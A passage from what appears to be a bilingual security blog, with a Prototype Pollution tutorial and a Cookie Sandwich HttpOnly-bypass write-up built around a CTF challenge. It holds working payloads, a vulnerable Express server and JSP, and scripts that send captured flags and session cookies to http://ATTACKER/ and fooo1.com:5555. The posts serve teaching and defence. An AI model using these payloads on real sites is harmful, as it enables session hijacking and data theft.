Foo1

Prototype Pollution: Poisoning JavaScript's Object Chain

Wed, 02 Sep 2026 00:00:00 +0900

Overview

Prototype Pollution is a vulnerability specific to JavaScript. It lets an attacker inject a property into Object.prototype, and because almost every object in an application inherits from that prototype, the injected property shows up on objects the attacker never touched. The key that makes this work is __proto__: on a plain object, obj.__proto__ points straight at Object.prototype. Write through that reference once and you have changed a default that the entire application reads back.

Technical Background

JavaScript builds inheritance on prototypes. When you read a property or call a method on an object and it is not defined there, the engine walks up the prototype chain to the parent object and keeps looking until it finds the property or runs out of chain. That lookup is what makes prototypes useful, and it is also where the danger comes from: change something high up the chain and you change the default behavior every object below it sees.

It starts with __proto__. On a plain object it is a reference to Object.prototype, the shared root that ordinary objects inherit from. Writing a property through it does not touch one object, it touches the root that all of them read.

const obj1 = {};
console.log(obj1.__proto__ === Object.prototype); // true
obj1.__proto__.polluted = 1;
const obj2 = {};
console.log(obj2.polluted); // 1

Here obj1 and obj2 are separate objects that were never connected. Assigning obj1.__proto__.polluted = 1 writes onto Object.prototype, so obj2.polluted resolves to 1 through the chain even though nothing was ever written to obj2.

The Vulnerability

In real code this rarely looks like a direct __proto__ assignment. It happens when user input controls the key path an object is written to, and the code walks that path without checking for dangerous segments. Three patterns account for most of it: recursive property assignment, recursive object merge, and object cloning that is built on merge.

Property Assignment (setValue)

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};
    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}

const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1

setValue splits a dotted key such as "__proto__.polluted" into segments and recurses into the object one segment at a time, creating intermediate objects as it goes. When the first segment is __proto__, obj[e] is Object.prototype, so the recursion descends into the prototype and the final assignment lands there. obj2 never took part, yet obj2.polluted reads back 1.

Object Merge (merge)

function merge(a, b) {
  for (let key in b) {
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // 1

Recursive merge is the pattern you meet most often in the wild, because merging user-supplied JSON into a config or options object is everywhere. JSON.parse('{"__proto__":{"polluted":1}}') produces an object whose __proto__ key is an own, enumerable property, so for (let key in b) iterates over it. The merge then recurses into a["__proto__"], which is Object.prototype, and writes polluted onto it. Every object created afterward inherits the value.

Object Clone (clone)

function clone(obj) {
  return merge({}, obj);
}

const obj1 = JSON.parse('{"__proto__":{"polluted":1}}');
const obj2 = clone(obj1);
const obj3 = {};
console.log(obj3.polluted); // 1

clone is just merge({}, obj), so it carries the merge bug with it. Cloning an object that was parsed from attacker-controlled JSON pollutes the prototype exactly the way a direct merge would. Anything built on top of a vulnerable merge inherits the same weakness.

Practical Demonstration

The patterns above are easy to dismiss as textbook snippets. On a server they turn into a request handler that copies untrusted JSON into an object, which is a normal-looking thing to do.

A Vulnerable Express Server

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function merge(a, b) {
  for (let key in b) {
    // this branch must skip key === "__proto__"
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

function clone(obj) {
  return merge({}, obj);
}

const express = require('express');
const app = express();
app.use(express.json());
app.post('/', (req, res) => {
  // cloning the attacker JSON as-is pollutes the prototype here
  const obj = clone(req.body);
  const r = {};
  // r.status is now tampered via prototype pollution
  const status = r.status ? r.status: 'NG';
  res.send(status)
});
app.listen(1234);

The handler calls clone(req.body) on the parsed request body, which runs the vulnerable merge over data the client fully controls. The comment on the merge marks the missing check: when key is __proto__, the code should skip it instead of recursing into the prototype, and it does not. A few lines later the server builds a fresh object r and reads r.status, falling back to 'NG' when it is absent. Nothing ever writes r.status, so under normal traffic the response is NG. Once the prototype is polluted, r.status resolves through the chain to the attacker’s value.

Sending the Malicious Payload

const http = require('http');
const client = http.request({
  host: 'localhost',
  port: 1234,
  method: 'POST'
}, (res) => {
  res.on('data', (chunk) => {
    console.log(chunk.toString());
  });
});
const data = '{"__proto__":{"status":"polluted"}}';
client.setHeader('content-type', 'application/json');
client.end(data);

The payload is a single JSON body, {"__proto__":{"status":"polluted"}}, posted with a JSON content type so express.json() parses it. After the server clones it, Object.prototype.status is set. The next read of r.status returns polluted, and the response flips from NG to polluted. One request changed a value the application computed for itself.

Impact

The demonstration changes a status string, which looks harmless on its own. What makes Prototype Pollution serious is that the polluted property is global to the process: every object that later reads that property without defining it gets the attacker’s value. Depending on what the application does with such defaults, that ranges from bypassing application logic and flipping access checks to crashing the process when a polluted value breaks an assumption made somewhere else.

The reach grows when a polluted property feeds into a sink that already exists in the codebase, often called a gadget. If a client-side gadget copies a polluted property into the DOM or into a script context, the pollution can be chained into XSS. If a server-side gadget passes a polluted property into a child process, a template, or a function that treats data as code, it can lead to code execution. Both outcomes depend on a suitable gadget being present, so treat them as possibilities to check for rather than guaranteed results.

Client-Side Chaining (conceptual)

<script>
fetch('http://2023whs.arang.kr:9200/prototype_pollution.php').then(response => response.text()).then(data => {
	let flag = data.match(/flag{.*?}/)[0];
	fetch('http://ATTACKER/receive_flag?flag=' + flag);
});
</script>

This snippet sketches how a client-side pollution could be turned into data exfiltration. The flag{.*?} inside data.match(...) is a regular expression that pulls a matching value out of the fetched response body, not a real captured flag, so there is nothing to mask here. The exfiltration endpoint is generalized as http://ATTACKER/. In a real chain the injected script would be reached through a pollution gadget rather than added to the page by hand, but the shape stays the same: read something sensitive, then send it to a server the attacker controls.

Mitigation

The fixes fall into two groups: stop dangerous keys from ever reaching the prototype, and make the prototype impossible to write in the first place.

Skip dangerous keys - Before recursing or assigning during a merge or a deep set, reject the segments __proto__, constructor, and prototype. This is the missing check the vulnerable merge above pointed at with its comment.
Store data in prototype-less objects - Build lookup objects with Object.create(null). They have no prototype chain, so an attacker-controlled __proto__ key becomes an ordinary own property instead of a path to Object.prototype.
Use Map for key/value data - A Map keeps its entries separate from object properties, so writing a __proto__ key stores a normal entry and touches no prototype. Map is not available in legacy environments that predate modern JavaScript.
Object.freeze(Object.prototype) - Freezing the prototype blocks writes to it outright. The tradeoff is real: legitimate code that expects to extend Object.prototype can stop working, so test before shipping it.
Validate input against a JSON schema - Run incoming JSON through a validator such as ajv with a schema that whitelists the expected shape, so unexpected keys like __proto__ are rejected before any merge runs.
Keep libraries current - Widely used libraries such as lodash have shipped fixes for prototype pollution in their merge and set helpers. Staying on patched versions closes bugs you did not write yourself.

Conclusion

Prototype Pollution turns one careless merge or clone into a change that spreads across every object in the process. The root cause is small and easy to miss: user input reaches an object key path, and a __proto__ segment walks the write straight onto Object.prototype. There is no exotic primitive involved, just a recursive helper that trusts its keys.

The defense is just as small. Reject __proto__, constructor, and prototype where user input controls keys, keep lookup data in prototype-less objects or a Map, and validate the shape of JSON before merging it. Handle the keys and the shared prototype stops being a shared attack surface.

References

Prototype Pollution - PortSwigger Web Security Academy

개요

Prototype Pollution은 자바스크립트만의 독특한 취약점입니다. 공격자가 Object.prototype에 프로퍼티 하나를 슬쩍 심어 넣으면, 애플리케이션 안의 거의 모든 객체가 이 프로토타입을 상속받기 때문에 공격자가 건드린 적도 없는 객체에까지 그 프로퍼티가 튀어나오죠. 이걸 가능하게 하는 열쇠가 바로 __proto__입니다. 평범한 객체에서 obj.__proto__는 곧장 Object.prototype을 가리키거든요. 이 참조를 통해 딱 한 번만 값을 써 넣어도, 애플리케이션 전체가 읽어 들이는 기본값을 바꿔 버린 셈이 됩니다.

기술 배경

자바스크립트는 상속을 프로토타입 위에 세웁니다. 어떤 객체에서 프로퍼티를 읽거나 메서드를 호출했는데 거기에 정의돼 있지 않으면, 엔진은 프로토타입 체인을 따라 부모 객체로 거슬러 올라가면서 프로퍼티를 찾을 때까지, 아니면 체인이 끝날 때까지 계속 뒤져 봅니다. 바로 이 탐색 덕분에 프로토타입이 쓸모 있어지는 건데요. 동시에 위험이 싹트는 지점이기도 합니다. 체인의 위쪽에 있는 뭔가를 바꾸면, 그 아래 모든 객체가 보는 기본 동작이 통째로 바뀌어 버리니까요.

모든 건 __proto__에서 시작됩니다. 평범한 객체에서 이 값은 Object.prototype을 가리키는 참조인데요. 일반 객체들이 공통으로 상속받는 뿌리(root)죠. 이 참조를 통해 프로퍼티를 써 넣으면 객체 하나만 건드리는 게 아니라, 그 모두가 읽어 들이는 뿌리를 건드리게 됩니다.

const obj1 = {};
console.log(obj1.__proto__ === Object.prototype); // true
obj1.__proto__.polluted = 1;
const obj2 = {};
console.log(obj2.polluted); // 1

여기서 obj1과 obj2는 서로 아무 연결고리도 없는 별개의 객체입니다. 그런데 obj1.__proto__.polluted = 1을 실행하면 그 값이 Object.prototype에 써지기 때문에, obj2에는 아무것도 쓴 적이 없는데도 obj2.polluted가 체인을 타고 1로 읽힙니다. 신기하죠?

취약점

실제 코드에서는 이렇게 대놓고 __proto__에 값을 대입하는 모습으로 나타나는 경우가 거의 없습니다. 오히려 사용자 입력이 객체를 써 넣을 키 경로(key path)를 좌우하고, 코드가 그 경로에 위험한 조각이 섞였는지 확인하지 않고 그대로 타고 들어갈 때 벌어지죠. 대부분은 다음 세 가지 패턴에서 비롯됩니다. 재귀적 프로퍼티 대입, 재귀적 객체 병합(merge), 그리고 이 병합 위에 얹혀 만들어지는 객체 복제(clone)입니다.

프로퍼티 대입 (setValue)

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};
    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}

const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1

setValue는 "__proto__.polluted"처럼 점(.)으로 이어진 키를 조각조각 나눈 뒤, 한 조각씩 객체 안으로 재귀해 들어가면서 중간 객체를 필요한 대로 만들어 냅니다. 그런데 첫 번째 조각이 __proto__라면 obj[e]가 바로 Object.prototype이 되거든요. 그래서 재귀가 프로토타입 속으로 파고들고, 마지막 대입이 결국 거기에 떨어집니다. obj2는 이 과정에 낀 적이 없는데도 obj2.polluted를 읽으면 1이 돌아오죠.

객체 병합 (merge)

function merge(a, b) {
  for (let key in b) {
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // 1

재귀적 병합은 실전에서 가장 자주 마주치는 패턴입니다. 사용자가 넘긴 JSON을 설정 객체나 옵션 객체에 합쳐 넣는 일이 워낙 흔하니까요. JSON.parse('{"__proto__":{"polluted":1}}')는 __proto__ 키가 객체 자신의 열거 가능한(enumerable) 프로퍼티인 객체를 만들어 냅니다. 그래서 for (let key in b)가 이 키까지 순회하죠. 그다음 병합은 a["__proto__"], 그러니까 Object.prototype 속으로 재귀해 들어가 거기에 polluted를 써 넣습니다. 이후에 만들어지는 모든 객체가 이 값을 물려받게 되고요.

객체 복제 (clone)

function clone(obj) {
  return merge({}, obj);
}

const obj1 = JSON.parse('{"__proto__":{"polluted":1}}');
const obj2 = clone(obj1);
const obj3 = {};
console.log(obj3.polluted); // 1

clone은 사실상 merge({}, obj)일 뿐이라, 병합의 버그를 고스란히 짊어지고 다닙니다. 공격자가 주무를 수 있는 JSON에서 파싱된 객체를 복제하면, 직접 병합했을 때와 똑같이 프로토타입이 오염되죠. 취약한 병합 위에 쌓아 올린 것은 무엇이든 같은 약점을 물려받는 셈입니다.

실전 시연

위 패턴들은 교과서에나 나오는 짧은 예제라며 가볍게 넘기기 쉽습니다. 하지만 서버 위에서는 이야기가 달라지는데요. 믿을 수 없는 JSON을 객체에 복사해 넣는 요청 핸들러의 모습으로 둔갑하거든요. 겉보기엔 지극히 평범해 보이는 코드로요.

취약한 Express 서버

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function merge(a, b) {
  for (let key in b) {
    // key가 "__proto__"일 때는 이 분기를 건너뛰어야 한다
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

function clone(obj) {
  return merge({}, obj);
}

const express = require('express');
const app = express();
app.use(express.json());
app.post('/', (req, res) => {
  // 공격자 JSON을 그대로 복제하면 여기서 프로토타입이 오염된다
  const obj = clone(req.body);
  const r = {};
  // 프로토타입 오염으로 r.status가 변조된 상태다
  const status = r.status ? r.status: 'NG';
  res.send(status)
});
app.listen(1234);

이 핸들러는 파싱된 요청 본문에 대고 clone(req.body)를 호출하는데요. 클라이언트가 통째로 좌우하는 데이터 위에서 취약한 병합을 그대로 돌려 버립니다. 병합에 달린 주석이 빠진 검사를 콕 집어 줍니다. key가 __proto__일 때는 프로토타입 속으로 재귀하는 대신 건너뛰어야 하는데, 이 코드는 그러질 않죠. 몇 줄 아래에서 서버는 새 객체 r을 만들고 r.status를 읽는데, 값이 없으면 'NG'로 대체합니다. r.status에는 아무도 값을 써 넣은 적이 없으니, 평범한 트래픽에서는 응답이 NG가 나오죠. 하지만 프로토타입이 한번 오염되고 나면, r.status는 체인을 타고 공격자가 심어 둔 값으로 읽힙니다.

악성 페이로드 보내기

const http = require('http');
const client = http.request({
  host: 'localhost',
  port: 1234,
  method: 'POST'
}, (res) => {
  res.on('data', (chunk) => {
    console.log(chunk.toString());
  });
});
const data = '{"__proto__":{"status":"polluted"}}';
client.setHeader('content-type', 'application/json');
client.end(data);

페이로드는 {"__proto__":{"status":"polluted"}}라는 JSON 본문 딱 하나입니다. JSON content type을 달아서 보내니 express.json()이 이를 파싱하죠. 서버가 이걸 복제하고 나면 Object.prototype.status가 세팅됩니다. 다음번에 r.status를 읽으면 polluted가 돌아오고, 응답은 NG에서 polluted로 뒤집히고요. 요청 단 한 방으로, 애플리케이션이 스스로 계산해 낸 값을 바꿔 버린 겁니다.

영향

방금 시연에서는 status 문자열 하나를 바꿨을 뿐이라, 그 자체로는 별것 아닌 것처럼 보입니다. 그런데 Prototype Pollution을 진짜 심각하게 만드는 건, 오염된 프로퍼티가 프로세스 전역에 걸린다는 점입니다. 이후에 그 프로퍼티를 (직접 정의하지 않은 채) 읽는 모든 객체가 공격자의 값을 받아 가게 되거든요. 애플리케이션이 이런 기본값을 어디에 쓰느냐에 따라, 영향은 애플리케이션 로직 우회나 접근 검사 뒤집기부터, 오염된 값이 딴 곳에서 세워 둔 전제를 깨뜨려 프로세스를 통째로 죽이는 일까지 폭넓게 벌어집니다.

오염된 프로퍼티가 코드베이스에 이미 존재하는 싱크(sink)로 흘러 들어가면 그 파급력은 더 커집니다. 이런 싱크를 흔히 가젯(gadget)이라고 부르죠. 클라이언트 측 가젯이 오염된 프로퍼티를 DOM이나 스크립트 컨텍스트에 복사해 넣는다면, 이 오염은 XSS로 엮일 수 있습니다. 서버 측 가젯이 오염된 프로퍼티를 자식 프로세스나 템플릿, 혹은 데이터를 코드처럼 다루는 함수에 넘긴다면 코드 실행으로 이어질 수 있고요. 두 결과 모두 알맞은 가젯이 존재하느냐에 달려 있으니, 확정된 결과라기보다는 있는지 확인해 봐야 할 가능성으로 여기는 게 맞습니다.

클라이언트 측 체이닝 (개념)

<script>
fetch('http://2023whs.arang.kr:9200/prototype_pollution.php').then(response => response.text()).then(data => {
	let flag = data.match(/flag{.*?}/)[0];
	fetch('http://ATTACKER/receive_flag?flag=' + flag);
});
</script>

이 스니펫은 클라이언트 측 오염이 어떻게 데이터 탈취로 이어질 수 있는지 그 얼개를 스케치한 것입니다. data.match(...) 안의 flag{.*?}는 가져온 응답 본문에서 조건에 맞는 값을 뽑아내는 정규식이지, 실제로 캡처한 플래그가 아닙니다. 그래서 여기엔 가릴(mask) 것이 없고요. 탈취용 엔드포인트는 http://ATTACKER/로 일반화해 두었습니다. 실제 공격 체인에서라면 이 주입된 스크립트가 손으로 페이지에 붙는 게 아니라 오염 가젯을 통해 실행되겠지만, 큰 그림은 똑같습니다. 민감한 뭔가를 읽어서, 공격자가 쥐고 있는 서버로 흘려보내는 거죠.

대응 방안

대응책은 크게 두 갈래로 나뉩니다. 위험한 키가 애당초 프로토타입까지 닿지 못하게 막거나, 아니면 프로토타입 자체를 아예 쓸 수 없게 만드는 것이죠.

위험한 키를 걸러 내기 - 병합이나 깊은 대입(deep set) 도중에 재귀하거나 값을 넣기 전에, __proto__, constructor, prototype 조각을 거부합니다. 앞서 취약한 병합이 주석으로 짚어 줬던 바로 그 빠진 검사죠.
프로토타입 없는 객체에 데이터 담기 - 조회용 객체는 Object.create(null)로 만듭니다. 이런 객체는 프로토타입 체인이 없어서, 공격자가 넣은 __proto__ 키가 Object.prototype으로 통하는 길이 아니라 그냥 평범한 자기 프로퍼티가 됩니다.
키/값 데이터에는 Map 쓰기 - Map은 항목을 객체 프로퍼티와 따로 보관하기 때문에, __proto__ 키를 써 넣어도 평범한 항목 하나로 저장될 뿐 프로토타입은 건드리지 않습니다. 다만 Map은 모던 자바스크립트 이전의 레거시 환경에서는 쓸 수 없습니다.
Object.freeze(Object.prototype) - 프로토타입을 얼려 버리면 거기에 값을 쓰는 것 자체가 막힙니다. 대신 대가가 따르는데요. Object.prototype을 확장하려던 정상 코드가 멈춰 버릴 수 있으니, 배포 전에 꼭 테스트해 봐야 합니다.
JSON 스키마로 입력 검증하기 - 들어오는 JSON을 ajv 같은 검증기에 통과시키되, 기대하는 형태만 화이트리스트로 허용하는 스키마를 씁니다. 그러면 __proto__ 같은 예상 밖의 키가 병합이 돌기도 전에 걸러집니다.
라이브러리를 최신으로 유지하기 - lodash처럼 널리 쓰이는 라이브러리들은 merge, set 같은 헬퍼의 프로토타입 오염을 이미 패치해 배포했습니다. 패치된 버전을 쓰는 것만으로도, 내가 직접 짜지 않은 버그까지 막을 수 있고요.

마치며

Prototype Pollution은 부주의한 병합이나 복제 한 번을, 프로세스 안의 모든 객체로 번져 나가는 변화로 바꿔 놓습니다. 근본 원인은 작고 놓치기 쉽습니다. 사용자 입력이 객체의 키 경로까지 닿고, __proto__ 조각이 그 값을 곧장 Object.prototype으로 걸어 들어가게 하는 것이죠. 무슨 대단하고 희귀한 기법이 동원되는 것도 아닙니다. 그저 자기 키를 덜컥 믿어 버리는 재귀 헬퍼 하나면 충분하거든요.

방어책도 그만큼 단출합니다. 사용자 입력이 키를 좌우하는 곳에서는 __proto__, constructor, prototype을 거부하고, 조회용 데이터는 프로토타입 없는 객체나 Map에 담고, JSON은 병합하기 전에 그 형태를 검증하면 됩니다. 키만 제대로 다뤄 주면, 공유되던 프로토타입이 더는 공유된 공격 표면이 되지 않습니다.

참고 자료

Prototype Pollution - PortSwigger Web Security Academy

Cookie Sandwich Attack: Is HttpOnly Really Safe?

Wed, 23 Apr 2025 00:00:00 +0900

Overview

The Cookie Sandwich Attack is a technique that exploits the differences between the RFC6265 (modern) and RFC2109 (legacy) cookie parsing specifications to extract HttpOnly cookies that would normally be inaccessible to client-side JavaScript.

This vulnerability arises in web servers that support both modern and legacy cookie parsing methods, especially when:

The server defaults to legacy parsing, or
The server switches to legacy parsing when it detects the $Version keyword

The key issue is that these two parsing methods handle quotation marks (") differently, which attackers can abuse to “sandwich” an HttpOnly cookie between crafted malicious cookies.

Technical Background

To understand the vulnerability, let’s first examine the relevant RFC standards:

RFC2109 (Legacy Cookie Spec, 1997)

First defined cookie structure and transmission methods
Implemented quotation mark handling where quoted values are treated as a single string
Had many implementation and compatibility issues

RFC2965 (Updated Legacy Spec, 2000)

Complemented RFC2109 by adding metadata attributes (Version, Port, CommentURL)
Not widely adopted as browsers moved toward RFC6265

RFC6265 (Modern Cookie Spec, 2011)

The de facto standard used by modern web browsers and servers
Cookie name-value pairs are strictly separated by semicolons
Quotation marks are treated as part of the value, with no special handling

The Vulnerability

Servers like Tomcat that aim to maintain backward compatibility implement support for both parsing modes. They typically switch to RFC2109/2965 (legacy) parsing when the $Version parameter is detected in the cookie request header, otherwise defaulting to RFC6265 (modern) parsing.

This compatibility choice opens the door to the Cookie Sandwich Attack. Here’s how it works:

Example Scenario

Imagine a web application where an attacker has gained script execution capabilities (via XSS), but the session cookie (JSESSIONID) is protected with the HttpOnly flag:

JSESSIONID=7A2A684D2F275078A98610E415E89D5E

With normal JavaScript, the attacker cannot access this cookie due to the HttpOnly protection. However, using the Cookie Sandwich technique, they can execute code like:

document.cookie = `$Version=1; path=/json;`;
document.cookie = `param1="start; path=/json;`;
document.cookie = `param2=end"; path=/;`;

The modern parser (RFC6265) would interpret these as three separate cookies:

JSESSIONID=7A2A684D2F275078A98610E415E89D5E
$Version=1
param1="start
param2=end"

However, the legacy parser (RFC2109) would interpret this quite differently:

param1="start;JSESSIONID=7A2A684D2F275078A98610E415E89D5E;param2=end"

Notice how the JSESSIONID cookie is now “sandwiched” between param1 and param2, creating a situation where its value becomes accessible to the attacker.

For this attack to work effectively, cookie order is key. The $Version=1 cookie needs to be processed first to trigger legacy parsing mode. Since cookies are generally processed in the order they were created, attackers need to control this sequence.

This is where the path attribute of cookies becomes important. Browsers sort cookies based on path specificity, which allows attackers to manipulate the order. By setting specific paths for different cookies, attackers can ensure their cookies are processed in the correct sequence to exploit the vulnerability.

Practical Demonstration

Here’s a practical example showing how the attack works:

Initially, we have a normal HttpOnly cookie (JSESSIONID):

When we execute the JavaScript to create the cookie sandwich:

document.cookie = `$Version=1; path=/test.jsp;`;
document.cookie = 'param1="start; path=/test.jsp;';
document.cookie = 'param2=end"; path=/;';

And refresh the page, the server-side parsing (using legacy mode) sees the cookies combined as a single value:

If we were to refresh the page without carefully crafting our attack, the JSESSIONID would be regenerated and might appear in a different order, breaking our sandwich:

Similarly, if we don’t set the path attribute correctly on the $Version cookie, the attack fails:

Framework-Specific Variations

Different frameworks require slightly different payload formats to successfully exploit this vulnerability:

Flask:  {"foo": "bar", "$Version": "1", "$Path": "/", "$Domain": "abc"}  
Django: {"foo": "bar", "$Version": "1", "$Path": "/", "$Domain": "abc"}  
PHP:    {"foo": "\"bar\"", "$Version": "1", "$Path": "\"\\/\"", "$Domain": "abc"}
Ruby:   {"foo": "\"bar\"", "$Version": "1", "$Path": "\"\\/\"", "$Domain": "abc"}
Spring: { "foo": "\"bar\""}

Practical Exploitation

A real-world exploitation would typically involve:

Identifying a server that uses legacy cookie parsing or can be switched to it
Executing JavaScript (through XSS or other means) to create the cookie sandwich
Making a request to a specific endpoint that returns cookie data
Extracting the HttpOnly cookie from the response

Creating a Wargame Challenge

I created a Cookie Sandwich wargame challenge to demonstrate this vulnerability. Creating a proper CTF challenge was more complex than I initially anticipated and took an entire day to complete.

The challenge implements a simplified version of the scenario described in the reference materials. Since I needed an admin bot to test the vulnerability, I had to consider the best approach. Directly porting Chromium into the JSP environment proved technically challenging, so I opted for a different approach. I created separate containers and implemented the admin functionality through Docker networking.

Configuring the correct chromedriver version was particularly tricky, so I used an existing image by tonyp7 to simplify the implementation:

version: '3.8'

services:
  tomcat:
    build: 
      context: ./tomcat
      dockerfile: Dockerfile
    ports:
      - "8080:8080"
    volumes:
      - ./tomcat/app:/usr/local/tomcat/webapps/ROOT
    environment:
      - CATALINA_OPTS=-Dorg.apache.catalina.STRICT_SERVLET_COMPLIANCE=false 
      - ADMIN_PASSWORD=${ADMIN_PASSWORD}
      - FLAG=${FLAG}
    networks:
      - internal 

  bot:
    image: tonyp7/flask-selenium-chromedriver-alpine:latest
    shm_size: '2gb'
    build: 
      context: ./bot
      dockerfile: Dockerfile
    depends_on:
      - tomcat
    networks:
      - internal
    ports:
      - "8000:8000"
    environment:
      - ADMIN_PASSWORD=${ADMIN_PASSWORD}
      - GUNICORN_CMD_ARGS=--workers=1 --timeout=120
    deploy:
      resources:
        limits:
          memory: 1G

networks:
  internal:
    driver: bridge

The core of the challenge is in the json.jsp file. When a client sends a request, the server returns cookie data but specifically excludes the JSESSIONID cookie. Since the JSESSIONID cookie in Tomcat is set as HttpOnly by default, it becomes a perfect target for the Cookie Sandwich attack:

<%@ page contentType="application/json;charset=UTF-8" %>
<%
    String leaked = "";
    Cookie[] cookies = request.getCookies();
    if (cookies != null) {
        for (Cookie c : cookies) {
            if (!"JSESSIONID".equals(c.getName())) {
                leaked = c.getValue();
                break;
            }
        }
    }
    leaked = leaked.replace("\"","\\\"");
    out.print("{\"session\":\"" + leaked + "\"}");
%>

The proof of concept for solving this challenge is as follows:

<script>
document.cookie = '$Version=1; path=/json.jsp;';
document.cookie = 'param1="start; path=/json.jsp;';
document.cookie = 'param2=end"; path=/;';

fetch('/json.jsp', {
  credentials: 'include'
})
  .then(r => r.json())
  .then(data => {
    return fetch('http://fooo1.com:5555/', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>

A minified one-line version is also available for situations where character space is limited:

<script>document.cookie = '$Version=1; path=/json.jsp;';document.cookie = 'param1="start; path=/json.jsp;';document.cookie = 'param2=end"; path=/;';fetch('/json.jsp', {credentials: 'include'}).then(r => r.json()).then(data => {return fetch('http://fooo1.com:5555/', {method: 'POST',body: JSON.stringify(data)});});</script>

When executed successfully, the attacker can capture the HttpOnly cookie value:

Mitigation

To protect against Cookie Sandwich attacks:

Disable legacy cookie parsing modes when not absolutely necessary
Apply strict parsing rules that don’t interpret quoted strings across semicolons
Implement stronger cookie isolation mechanisms
Use modern security headers like SameSite=strict to limit cross-site cookie transmission
Consider alternatives to cookie-based authentication for sensitive functions

Conclusion

The Cookie Sandwich Attack demonstrates how seemingly minor differences in parsing specifications can lead to significant security vulnerabilities. It highlights the importance of understanding how different standards interact, especially when backward compatibility is maintained.

Web application developers and security professionals should be aware of this technique and implement appropriate safeguards, particularly for applications that might be using older server technology that supports legacy cookie parsing modes.

References

개요

HttpOnly 플래그가 붙은 쿠키는 자바스크립트로 못 읽으니 안전하다고들 하죠. 그런데 정말 그럴까요? Cookie Sandwich Attack은 RFC6265(현대)와 RFC2109(레거시) 쿠키 파싱 명세의 차이를 파고들어, 원래라면 클라이언트 측 자바스크립트가 절대 손댈 수 없는 HttpOnly 쿠키를 빼내는 기법입니다.

이 취약점은 현대식과 레거시 쿠키 파싱을 모두 지원하는 웹 서버에서 고개를 드는데요. 특히 이런 경우입니다.

서버가 기본적으로 레거시 파싱을 쓰거나,
서버가 $Version 키워드를 만나면 레거시 파싱으로 갈아타는 경우

핵심은 이 두 파싱 방식이 큰따옴표(")를 서로 다르게 다룬다는 점입니다. 공격자는 이 틈을 노려, 자기가 심은 악성 쿠키 사이에 HttpOnly 쿠키를 “샌드위치”처럼 끼워 넣는 거죠.

기술적 배경

취약점을 제대로 이해하려면 먼저 관련 RFC 표준부터 짚고 가는 게 좋습니다.

RFC2109 (레거시 쿠키 명세, 1997)

쿠키 구조와 전송 방식을 처음 정의
따옴표로 감싼 값을 하나의 문자열로 취급하는 따옴표 처리 방식을 구현
구현, 호환성 문제가 많았음

RFC2965 (개정 레거시 명세, 2000)

메타데이터 속성(Version, Port, CommentURL)을 추가해 RFC2109를 보완
브라우저들이 RFC6265로 이동하면서 널리 채택되지는 않음

RFC6265 (현대 쿠키 명세, 2011)

현대 웹 브라우저, 서버가 사용하는 사실상의 표준
쿠키 이름-값 쌍은 세미콜론으로 엄격히 구분됨
따옴표는 값의 일부로 취급되며 특별한 처리를 하지 않음

취약점

Tomcat처럼 하위 호환성을 챙기려는 서버는 두 파싱 모드를 모두 지원하도록 만들어져 있습니다. 보통 쿠키 요청 헤더에서 $Version 파라미터가 보이면 RFC2109/2965(레거시) 파싱으로 전환하고, 그렇지 않으면 RFC6265(현대) 파싱을 기본으로 쓰는데요.

바로 이 “호환성 배려”가 Cookie Sandwich Attack의 문을 활짝 열어 줍니다. 어떻게 동작하는지 볼까요?

예시 시나리오

공격자가 (XSS로) 스크립트 실행 능력은 손에 넣었지만, 정작 세션 쿠키(JSESSIONID)는 HttpOnly 플래그로 꽁꽁 보호되고 있는 웹 애플리케이션을 상상해 봅시다.

JSESSIONID=7A2A684D2F275078A98610E415E89D5E

평범한 자바스크립트로는 HttpOnly 보호에 막혀 이 쿠키를 건드릴 수 없습니다. 그런데 Cookie Sandwich 기법을 쓰면 이야기가 달라지는데요. 다음 같은 코드를 실행해 봅니다.

document.cookie = `$Version=1; path=/json;`;
document.cookie = `param1="start; path=/json;`;
document.cookie = `param2=end"; path=/;`;

현대식 파서(RFC6265)는 이걸 세 개의 별개 쿠키로 해석합니다.

JSESSIONID=7A2A684D2F275078A98610E415E89D5E
$Version=1
param1="start
param2=end"

하지만 레거시 파서(RFC2109)는 이걸 사뭇 다르게 읽습니다.

param1="start;JSESSIONID=7A2A684D2F275078A98610E415E89D5E;param2=end"

보이시나요? JSESSIONID 쿠키가 param1과 param2 사이에 딱 “샌드위치”되면서, 그 값이 공격자 손에 잡히는 상황이 만들어졌습니다.

쿠키 순서 트릭

이 공격이 제대로 먹히려면 쿠키 순서가 정말 중요합니다. 레거시 파싱 모드를 켜려면 $Version=1 쿠키가 맨 먼저 처리돼야 하거든요. 쿠키는 보통 생성된 순서대로 처리되니, 공격자는 이 순서를 손아귀에 넣어야 합니다.

